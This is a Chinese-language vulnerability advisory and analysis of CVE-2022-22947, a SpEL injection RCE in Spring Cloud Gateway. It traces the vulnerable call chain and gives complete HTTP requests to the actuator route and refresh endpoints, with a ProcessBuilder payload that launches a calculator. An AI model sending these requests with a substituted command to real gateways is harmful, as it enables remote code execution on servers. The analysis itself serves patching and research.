漏洞概要

Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流、过滤等API治理功能。
Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时,可以通过http请求修改路由,路由中包含的恶意filter参数会经过SPEL表达式解析,从而导致远程主机执行任意代码。

  • 影响范围:
    org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)
    org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)
  • 修复方案:
    将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本
    将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本
  • 漏洞链接:https://www.oscs1024.com/hd/MPS-2022-1077

以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析:

0x00 环境搭建

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下载即可。

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

0x01 漏洞分析

首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式

我们回溯一下getValue这个方法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用

那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它

最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

继续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由filters

继续重复之前的操作(向上回溯),会找到这么一条调用链

RouteDefinitionRouteLocator#loadGatewayFilters ->
RouteDefinitionRouteLocator#getFilters ->
RouteDefinitionRouteLocator#convertToRoute ->
RouteDefinitionRouteLocator#getRoutes ->
GatewayControllerEndpoint#routes

整体流程大致了解了,就是添加路由filter然后访问,通过getValue触发Spel注入最终完成RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的请求体对应的内容

Filters内容

0x02 构造PoC

首先创建路由filter

POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212{"id": "test","filters": [{"name": "AddResponseHeader","args": {"name": "any","value": "#{new ProcessBuilder(\"calc\").start()}"}}],"uri": "http://test.com"
}

发包可以发现payload已经注入进filter了

接下来刷新一下

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性

接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性

造成Spel注入

最终解锁计算器

0x03 参考链接

https://www.cnblogs.com/bitterz/p/15964852.html
https://xz.aliyun.com/t/11004#toc-1

免费情报订阅 & 代码安全检测

墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。

代码安全检测: https://www.murphysec.com/?sf=1vi9zs
情报订阅: https://www.oscs1024.com/cm/?sf=1vi9zs
漏洞库:https://www.oscs1024.com/hl/?sf=1vi9zs

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析相关推荐

  1. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  2. php5漏洞汇总,ThinkPHP 5.x RCE 漏洞分析与利用总结

    一.ThinkPHP 5.0.23 rce漏洞复现与总结 漏洞复现 thinkphp 5.0.23 rce thinkphp 5.0.23 rce源码下载: github:https://github ...

  3. (2022年12月最新)SpringBoot远程代码执行whitelabel error page SpEL RCE漏洞复现

    1. 漏洞原理 spring boot 处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper 类中 此时 URL 中的参数值会用 ...

  4. cve-2019-10758 mongo-express rce 漏洞分析

    下面是对漏洞的描述: mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that use ...

  5. WebLogic CVE-2021-2394 RCE 漏洞分析

    漏洞简述 2021年3月15日墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server RCE漏洞,2021年7月21日Oracle发布了致谢信息. 这是一个二次反序列化漏洞,是 ...

  6. whitelabel error page SpEL RCE漏洞复现

    漏洞成因 正常情况下访问/article并输入数字型id即可获取文章内容,但如果传入了spel表达式,则会导致转到错误页面同时对spel表达式内容进行解析并反应在错误页面中. debug过程 同样从D ...

  7. cve-2017-12629 apache solr xxe rce 漏洞分析

    Versions Affected Apache Solr before 7.1.0 with Apache Lucene before 7.1 Elasticsearch, although it ...

  8. opensns v6.2.0前台RCE漏洞分析

    最近准备进一步学习下代码审计,因此打算找些历史漏洞分析学习下.(啥时候我也能挖出前台rce呢 本次漏洞的入口点在于 Application/Weibo/Controller/ShareControll ...

  9. springcloud gateway 请求执行流程分析

    一.示例 pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http:// ...

最新文章

  1. oracle查询正在执行的语句和kill session
  2. Codeforces 375D - Tree and Queries(dfs序+莫队)
  3. 全排列问题pascal解题程序
  4. 通过一段简单的代码,介绍 ABAP 的预定义类型 c
  5. 1.4通过时间的方向传播
  6. cad 打开硬件加速卡_CAD画图卡顿?电脑带不动?4个简单实用的方法,解决CAD运行卡顿问题...
  7. Linux应用开发环境搭建
  8. CSS3初级学习(二)背景图片叠加
  9. ipad可以装二级计算机培训吗,当初给孩子买iPad上网课的家长,开始后悔了……
  10. 厦门八大美院墙绘 茶馆里的中国风墙绘壁画
  11. shell检测连接数最多的IP
  12. ping 快ping
  13. Eclipse创建C++工程并解决“Symbol 'std' could not be solved”
  14. 【行业篇】一、汽车软硬架构 - EEA/SOA
  15. 一个简单的100以内的猜字游戏
  16. 【FPGA算法加速】运行PYNQ,对应FPGA芯片版本:赛灵思黑金AX7020
  17. ORACLE 复制表
  18. 基于STM32三路超声波避障小车
  19. 三极管工作原理_【电子器件】02:三极管工作原理
  20. 解决GitHub无法登录的方法

热门文章

  1. 2023年玩兔年小游戏《兔兔保卫萝卜战》赢新年祝福「钱兔无量」
  2. Dockerfile精编细作(五)编辑可应用到正式环境的Dockerfile并构建java项目
  3. 看电气原理图也有技巧,又学了一招!
  4. displaytag标签相关知识(多篇文章)
  5. vue2,vue3-调用浏览器打印窗口,或者打印机
  6. javascript实现图片轮播(一次显示多图片)
  7. Appium自动化测试-iOS模拟器运行
  8. 【HCIE-RS 天梯路】IS-IS
  9. win7 桌面上的网络邻居不见了
  10. 如何进入电脑安全模式